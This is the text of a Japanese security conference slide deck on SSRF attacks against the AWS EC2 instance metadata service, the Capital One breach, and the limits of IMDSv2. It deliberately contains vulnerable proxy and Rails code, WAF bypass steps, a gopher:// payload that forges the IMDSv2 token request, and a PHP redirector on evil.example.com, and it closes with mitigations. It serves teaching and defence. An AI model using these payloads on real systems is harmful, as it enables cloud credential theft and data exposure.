32.6K Views
February 14, 20
スライド概要
SSRF対策としてAmazonから発表されたIMDSv2の効果と限界について解説します
Security-JAWS 【第16回】 勉強会 2020年2月14日(金) 講演資料
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方 EGセキュアソリューションズ株式会社 代表取締役 徳丸 浩
アジェンダ • • • • • • • • IMDSとは? Capital Oneの事例 脆弱なWAFに対するSSRF攻撃 IMDSv2の説明と効果 ブックマークアプリのプレビュー機能に対するSSRF攻撃 IMDSv2を回避するGopherプロトコルによる攻撃 IMDSv2の効果と限界のまとめ 対策 © 2020 Hiroshi Tokumaru 2
徳丸浩の自己紹介 • 経歴 – 1985年 京セラ株式会社入社 – 1995年 京セラコミュニケーションシステム株式会社(KCCS)に出向・転籍 – 2008年 KCCS退職、HASHコンサルティング株式会社(現社名:EGセキュアソリューションズ株式会社)設立 • 経験したこと – 京セラ入社当時はCAD、計算幾何学、数値シミュレーションなどを担当 – その後、企業向けパッケージソフトの企画・開発・事業化を担当 – 1999年から、携帯電話向けインフラ、プラットフォームの企画・開発を担当 Webアプリケーションのセキュリティ問題に直面、研究、社内展開、寄稿などを開始 – 2004年にKCCS社内ベンチャーとしてWebアプリケーションセキュリティ事業を立ち上げ • 現在 – – – – EGセキュアソリューションズ株式会社 代表 https://www.eg-secure.co.jp/ 株式会社グレスアベイル 社外取締役 https://www.gresavail.com/ 独立行政法人情報処理推進機構 非常勤研究員 https://www.ipa.go.jp/security/ 著書「体系的に学ぶ 安全なWebアプリケーションの作り方 第2版」 (2018年6月21日) 「徳丸浩のWebセキュリティ教室 」(2015年10月) – 技術士(情報工学部門) © 2020 Hiroshi Tokumaru 3
EC2 IMDS(IMDSv1)とは • Instance MetaData Service • Amazon EC2 の仮想エンドポイント http://169.254.169.254/ • アクセス元の設定情報 (Instance MetaData)を返す • 外部からはIMDSにはアクセス できないので設定情報はもれない …はず • PUBLIC IPv4を取得する例 EC2インスタンス IMDS 169.254.169.254 インスタンスの 設定情報 仮想的な エンドポイント EC2 $ curl http://169.254.169.254/latest/meta-data/public-ipv4 18.217.170.163$ © 2020 Hiroshi Tokumaru 4
第1部:Capital Oneの大規模な情報漏えい © 2020 Hiroshi Tokumaru 5
SSRF攻撃によるCapital Oneの個人情報流出についてまとめてみた - piyolog 2019年7月29日、米金融大手 Capital Oneは不正アクセスにより1億人を超える個人情報が流出したと発表しまし た。WAFの設定ミスに起因して、Server Side Request Forgery(SSRF)攻撃を許したことにより情報を盗まれた と見られています。ここでは関連する情報をまとめます。 Capital Oneによる公式発表 • • Information on the Capital One Cyber Incident(米国向け) Information on the Capital One Cyber Incident(カナダ向け) • Frequently Asked Questions (1)影響範囲 影響が及んだ人数の内訳は以下の通り。 米国 約1億人 カナダ 約600万人 発表時点でCapital Oneは流出した情報が外部へ出回ることや、詐欺への使用は確認していない。 クレジットカード番号、ログイン情報は侵害されていない。 https://piyolog.hatenadiary.jp/entry/2019/08/06/062154 より引用 6
攻撃の模様 WAFの設定ミスを悪用したSSRF攻撃 HostヘッダにIMDSエントリを指定 設定ミスの詳細は明らかにされていない。 1億人を超える被害者が出た。 Apache+mod_security 169.254.169.254 リバースプロキシとして構成 (IMDSのエンドポイント) SSRF攻撃により ISRM-WAF-Role にアクセス ISRM-WAF-Role EC2 S3 AWS © 2020 Hiroshi Tokumaru Amazon S3 個人情報などを保管 7
なぜ攻撃を受けたか • S3ストレージに大量の個人情報を保存 • S3ストレージのアクセス権がWAFのインスタンスに付与され ていた • WAFがオープンPROXYになっていた(予想) • IMDSが無効化されていなかった © 2020 Hiroshi Tokumaru 8
Capital One仕様の脆弱なWAFの作り方 © 2020 Hiroshi Tokumaru 9
Apacheでリバースプロキシとmod_securityを導入 # 以下はAmazon Linux上のでの操作 # Apacheとmod_security、CRS(ルール)をインストール $ sudo yum install httpd mod_security mod_security_crs $ vi /etc/httpd/conf.d/reverseproxy.conf ProxyRequests On <VirtualHost *:80> ServerName hadena.tokumaru.org ProxyPass /error ! # エラーページ用 ProxyPass / http://172.31.XXX.XXX:3000/ ProxyErrorOverride On ProxyPassReverse / http://172.31.XXX.XXX:3000/ </VirtualHost> Ruby on Railsによる アプリケーションサーバー(後述) $ sudo systemctl restart httpd © 2020 Hiroshi Tokumaru 10
mod_securityによるWAFの概要 Apache+mod_security リバースプロキシとして構成 Webサーバー EC2 AWS © 2020 Hiroshi Tokumaru 11
先の設定だとオープン・プロキシに ProxyRequests On のせい Apache+mod_security リバースプロキシとして構成 GET https://twitter.com/ HTTP/1.1 Host: twitter.com GET / HTTP/1.1 Host: twtter.com EC2 © 2020 Hiroshi Tokumaru 12
警告 サーバを安全にするまで ProxyRequests は有効にしないで ください。 オープンプロキシサーバはあなた自身のネット ワークにとっても、 インターネット全体にとっても危険です。 https://httpd.apache.org/docs/2.4/ja/mod/mod_proxy.html より引用 13
試してみよう! WAFをブラウザのプロキシとして設定 リバースプロキシのIPアドレス © 2020 Hiroshi Tokumaru 14
オープン・プロキシとして利用できた 便利! 15
オープン・プロキシを通してIMDSにアクセスする オープン・プロキシ GET http://169.254.169.254/... IMDS 169.254.169.254 インスタンスの 設定情報 インスタンスの 設定情報 EC2 © 2020 Hiroshi Tokumaru 16
単にIPアドレスを指定するとブロックされるが… © 2020 Hiroshi Tokumaru 17
mod_securityがブロックしていた Apache-Error: [file "apache2_util.c"] [line 273] [level 3] [cli ent 221.246.230.61] ModSecurity: Access denied with code 403 (p hase 2). Pattern match "^[¥¥¥¥¥¥¥¥d.:]+$" at REQUEST_HEADERS:Ho st. [file "/etc/httpd/modsecurity.d/activated_rules/modsecurity _crs_21_protocol_anomalies.conf"] [line "98"] [id "960017"] [re v "2"] [msg "Host header is a numeric IP address"] [data "169.2 54.169.254"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [matu rity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/IP_ HostヘッダがIPアドレス HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI /6.5.10"] [tag "http://technet.microsoft.com/en-us/magazine/200 5.01.hackerbasher.aspx"] [hostname "169.254.169.254"] [uri "htt p:/169.254.169.254/"] [unique_id "XkKBvsG@i7@6ZJTFMv@7yAAAAAA"] © 2020 Hiroshi Tokumaru 18
適当なホスト名に169.254.169.254を設定すれば突破可能 © 2020 Hiroshi Tokumaru 19
IAMロールのクレデンシャルも、ほれ © 2020 Hiroshi Tokumaru 20
AWS-CLIを素の環境にインストールしてクレデンシャルをセット $ # AWS-CLI をインストール $ mkdir ~/.aws; cd ~/.aws $ vi ~/.aws/credential $ cat ~/.aws/credential [ssrf] aws_access_key_id = ASIAXXXXXXXXXXXXXXXD aws_secret_access_key = N1XZ6XXXXXXXXXXXXXXXXXXXXXXXX aws_session_token = "IQoJb3JpZ2luX2VjEXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX … XXXXXXXXXXXX=" © 2020 Hiroshi Tokumaru 21
S3バケットにアクセス(1) $ aws s3 --profile ssrf ls 2020-02-09 20:38:18 hadena-bookmark $ aws s3 --profile ssrf ls s3://hadena-bookmark/ 2020-02-11 15:27:08 3961 2020-01-31-001.log … 2020-02-11 15:30:33 2490 2020-02-09-001.log $ aws s3 --profile ssrf cp s3://hadena-bookmark/2020-02-09001.log . download: s3://hadena-bookmark/2020-02-09-001.log to ./2020 -02-09-001.log $ © 2020 Hiroshi Tokumaru 22
S3バケットに保存されたログを表示 $ cat 2020-02-09-001.log 2020/2/9 00:11:39,4689,175.93.231.93,KANAKO HARADA,431293,3590483413538693,1120 2020/2/9 01:57:34,3834,210.13.159.11,HIOSHI TOKUMARU,53150,1234567890123450,0318 2020/2/9 02:13:20,3778,183.11.41.34,TARO YAMADA,160699,2345678901234501,0720 2020/2/9 02:23:53,7261,19.135.31.93,KOICHI TAKEDA,188199,3456789012345012,1217 2020/2/9 03:21:35,3778,208.59.213.93,JIRO UCHIDA,311207,4567890123450123,0120 2020/2/9 03:43:19,3927,105.34.205.91,SABURO TANAKA,329293,5678901234501234,1018 2020/2/9 04:43:17,3927,135.91.203.25,HANAKO TAKAHASHI,499707,6789012345012345,0918 …… 2020/2/9 20:13:20,3778,183.11.41.34,TARO YAMADA,160699,2345678901234501,0721 2020/2/9 21:23:53,7261,19.135.31.93,KOICHI TAKEDA,188199,3456789012345012,1219 2020/2/9 22:21:35,3778,208.59.213.93,JIRO UCHIDA,311207,4567890123450123,0122 2020/2/9 23:11:39,4689,175.93.231.93,KANAKO HARADA,431293,3590483413538693,1120 2020/2/9 23:43:19,3927,105.34.205.91,SABURO TANAKA,329293,5678901234501234,1021 $ © 2020 Hiroshi Tokumaru 23
攻撃の模様(再掲) WAFの設定ミスを悪用したSSRF攻撃 HostヘッダにIMDSエントリを指定 設定ミスの詳細は明らかにされていない。 1億人を超える被害者が出た。 Apache+mod_security 169.254.169.254 リバースプロキシとして構成 (IMDSのエンドポイント) SSRF攻撃により ISRM-WAF-Role にアクセス ISRM-WAF-Role EC2 S3 AWS © 2020 Hiroshi Tokumaru Amazon S3 個人情報などを保管 24
IMDSv2の説明 © 2020 Hiroshi Tokumaru 25
IMDSv2とは? • v2へのアクセスには事前に取得したTokenを必須とする – TokenはPUTで取得する必要がある – Tokenリクエスト時に有効期限(秒)を設定できる – Tokenはヘッダに入れてリクエストする必要がある • v1を無効化できる(デフォルトでは併用可能) • メタデータサービス自体を無効化できる • EC2インスタンスを立ち上げる際にv2のみに設定することをIAMで強 制することができる • X-Forwarded-ForヘッダーがあるリクエストにTokenを発行しない • メタデータレスポンスのTTLを短くし複数ホストを経由した取得を防 止できる クラスメソッド臼田氏のブログ記事より引用 https://dev.classmethod.jp/cloud/aws/ec2-imdsv2-release/ 26
IMDSv2のみを有効化(IMDSv1を無効化)する $ aws ec2 modify-instance-metadata-options --instance-id i0dxxxxxxxxxxxxxxxx --http-tokens required --http-endpoint enabled { "InstanceId": "i-0xxxxxxxxxxxxxx", "InstanceMetadataOptions": { "State": "pending", "HttpTokens": "required", "HttpPutResponseHopLimit": 1, "HttpEndpoint": "enabled" } } © 2020 Hiroshi Tokumaru 27
IMDSv2 トークン取得の方法 $ curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 3600" "http://1 69.254.169.254/latest/api/token" AQAAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXlpg== © 2020 Hiroshi Tokumaru 28
トークンを用いてメタデータを取得する
$ curl -H "X-aws-ec2-metadata-token: AQAAAA-…lpg==" http://169.254.169.2
54/latest/meta-data/iam/security-credentials/hadena
{
"Code" : "Success",
"LastUpdated" : "2020-02-12T03:49:08Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIAXXXXXXXXXXXXXT",
"SecretAccessKey" : "/+LcPtXXXXXXXXXXXXXXXXXXXXXXXXXX",
"Token" : "IQoJb3JpZ2luXXXXXXXXXXXXXXXX … XXXXXXXXXXXXXXXXXX==",
"Expiration" : "2020-02-12T09:55:59Z"
}
© 2020 Hiroshi Tokumaru
29
X-Forwarded-Forヘッダをつけるとエラーになる
$ curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-m
etadata-token-ttl-seconds: 3600" -H "X-Forwarded-For: 203.0.113.1"
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>403 - Forbidden</title>
</head>
<body>
<h1>403 - Forbidden</h1>
</body>
</html>
© 2020 Hiroshi Tokumaru
30
IMDSv2の効果まとめ • PUTメソッドを用いてトークン取得 • X-aws-ec2-metadata-token-ttl-secondsヘッダが必要 • X-Forwarded-Forヘッダがあるとエラーになる • 「Capital One仕様の脆弱なWAF」の場合 – PUT メソッド … mod_securityでエラーに – X-aws-ec2-metadata-token-ttl-secondsヘッダ 付与可能 – X-Forwarded-Forヘッダ 自動的に付与 → エラーに • 【結論】IMDSv2 はオープンリバースプロキシからのSSRF攻撃対策と して一定の効果がある © 2020 Hiroshi Tokumaru 31
第2部:ブックマークアプリのプレビュー機能 のSSRF脆弱性 © 2020 Hiroshi Tokumaru 32
プレビュー機能でのSSRF攻撃
はてなブックマークのようなソーシャルブックマークの機能のうち、URLを指定してプレビューを
表示するというもの(Ruby on Rails)。題して「派手なブックマーク」
class BookmarkController < ApplicationController
def index
c = Curl::Easy.new(params[:url])
c.follow_location = true
c.http_get
s = c.body_str
s.force_encoding("UTF-8");
render html: Sanitize.clean(s, Sanitize::Config::RELAXED).html_safe
end
有害なタグを取り除く処理
end
※ 本サンプルはスキームやURLのチェックを一切行っていないため、SSRF脆弱
© 2020 Hiroshi Tokumaru
33
プレビュー機能の様子 http://hadena.tokumaru.org/?url=https://blog.tokumaru.org/ © 2020 Hiroshi Tokumaru 34
プレビュー機能でのSSRF攻撃(IMDSv1) http://hadena.tokumaru.org/?url=http://169.254.169.254/ © 2020 Hiroshi Tokumaru 35
mod_securityがブロックしていた Message: Access denied with code 403 (phase 2). Pattern match " ^(?i)(?:ht|f)tps?:¥¥/¥¥/(¥¥d{1,3}¥¥.¥¥d{1,3}¥¥.¥¥d{1,3}¥¥.¥¥d{1, 3})" at ARGS:url. [file "/etc/httpd/modsecurity.d/activated_rul es/modsecurity_crs_40_generic_attacks.conf"] [line "154"] [id " 950117"] [rev "2"] [msg "Remote File Inclusion Attack"] [data " Matched Data: http://169.254.169.254 found within ARGS:url: htt p://169.254.169.254/"] [severity "CRITICAL"] [ver "OWASP_CRS/2. 2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/WEB_ATTACK/ RFI"] URLがRFI (Remote File Inclusion)のルールに抵触 © 2020 Hiroshi Tokumaru 36
IPアドレスの代わりにホスト名にするとWAFを回避できる http://hadena.tokumaru.org/?url=http://imds.example.jp/ ホスト名にしたらどうか? © 2020 Hiroshi Tokumaru 37
クレデンシャルも、ほれ http://hadena.tokumaru.org/?url=http://imds.example.jp/latest/meta-data/iam/security-credentials/hadena © 2020 Hiroshi Tokumaru 38
IMDSv2での攻撃に関する検討 • PUTメソッドを用いてトークン取得 • X-aws-ec2-metadata-token-ttl-secondsヘッダが必要 • X-Forwarded-Forヘッダがあるとエラーになる • 「派手なブックマーク」の場合 – PUT メソッド … PUTメソッドの指定は困難そう – X-aws-ec2-metadata-token-ttl-secondsヘッダ 付与できなさそう – X-Forwarded-Forヘッダ 付与されない → これはOK • IMDSv2 の突破は困難なように見える • それ、Gopherでできるよ! © 2020 Hiroshi Tokumaru 39
Gopherプロトコルとは Gopher(ゴーファー)とは、インターネットがテキストベース (文字情報主体)のネットワークであった1991年に、アメリカ合 衆国のミネソタ大学が開発したテキストベースの情報検索シス テム。 1993年頃から本格的になったWWWの普及や、Gopherそのもの が日本語などマルチバイト文字環境に対応していなかったため、 2013年1月現在はほとんど使われていない。 https://ja.wikipedia.org/wiki/Gopher より引用 40
Gopherの例 • 以下で待受しておく $ nc -l 8888 • 別ターミナルで以下を実行 $ curl gopher://localhost:8888/_Hello%0d%0aHiroshi%20Tokumaru%0d%0a • 以下が表示される $ nc -l 8888 Hello Hiroshi Tokumaru Response ← この行はResponse 改行 Ctrl-d を手入力したもの • curl呼び出し後以下が表示される $ curl gopher://localhost:8888/_Hello%0d%0aHiroshi%20Tokumaru%0d%0a Response $ © 2020 Hiroshi Tokumaru 41
GopherでHTTPをエミュレートできる • 以下を実行すると… $ curl gopher://169.254.169.254:80/_PUT%20/latest/api/tok en%20HTTP/1.1%0D%0AHost:%20169.254.169.254%0D%0AX-aws-ec2 -metadata-token-ttl-seconds:%203600%0D%0A%0D%0A • 以下が169.254.169.254に送信される PUT /latest/api/token HTTP/1.1 [改行] Host: 169.254.169.254 [改行] X-aws-ec2-metadata-token-ttl-seconds: 3600 [改行] [改行] • GopherプロトコルでPUTメソッドとカスタムヘッダを実現できる © 2020 Hiroshi Tokumaru 42
攻撃してみよう! http://hadena.tokumaru.org/?url=gopher://169.254.169.254:80/_PUT%2520/lat est/api/token%2520HTTP/1.1%250D%250AHost:%2520169.254.169.254%250D… これはトークンだが、インスタンスメタデータ も同様に取得可能 © 2020 Hiroshi Tokumaru 43
URLのスキームをバリデーションすれば? def index url = params[:url] uri = URI.parse(url) if uri.scheme != 'http' && uri.scheme != 'https' render html:'Invalid scheme'+ uri.scheme return end c = Curl::Easy.new(url) # 以下略 ※ スキームをHTTPおよびHTTPSのみ許可する © 2020 Hiroshi Tokumaru 44
リダイレクタによる攻撃 • 外部のサイトにリダイレクタを設置する <?php header('Location: gopher://169.254.169.254:80/_PUT%20/l atest/api/token%20HTTP/1.1%0D%0AHost:%20169.254.169… evil.example.com ?url=http://evil.example.com WAF Webサーバー IMDS(169.254.169.254) © 2020 Hiroshi Tokumaru 45
GopherプロトコルによりIMDSv2のトークンが取得できた © 2020 Hiroshi Tokumaru 46
対策 • ネットワーク的な保護 URLの完全な検証は難しいので、ネットワーク的な保護も有効です。以下は、AWS のドキュメントで推奨されている iptables の設定例。 これにより、「docker0 ブリッジのコンテナがコンテナインスタンスのロールに指 定されている権限にアクセスするのを防止できます」としている。iptablesによる設 定は環境依存なのでご注意を。 sudo iptables --insert FORWARD 1 --in-interface docker+ --destinatio n 169.254.169.254/32 --jump DROP Amazon ECS コンテナインスタンスの IAM ロール - Amazon Elastic Container Service より引用 © 2020 Hiroshi Tokumaru 47
IMDS自体が必要ない場合は無効化する $ aws ec2 modify-instance-metadata-options --instance-id i0d095e1ae9ffac3c3 --http-endpoint disabled { "InstanceId": "i-0d095e1ae9ffac3c3", "InstanceMetadataOptions": { "State": "pending", "HttpTokens": "required", "HttpPutResponseHopLimit": 1, "HttpEndpoint": "disabled" } } © 2020 Hiroshi Tokumaru 48
IMDSを無効化すると、IMDS要求時に403が返る
$ curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-awsec2-metadata-token-ttl-seconds: 3600"
<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>403 - Forbidden</title>
</head>
<body>
<h1>403 - Forbidden</h1>
</body>
</html>
© 2020 Hiroshi Tokumaru
49
まとめ • • • • • • • 脆弱なWAFの作り方 脆弱なWAFに対するSSRF攻撃 IMDSv2の説明と効果 ブックマークアプリのプレビュー機能に対するSSRF攻撃 IMDSv2を回避するGopherプロトコルによる攻撃 IMDSv2の効果と限界 ネットワーク的な防御を推奨 © 2020 Hiroshi Tokumaru 50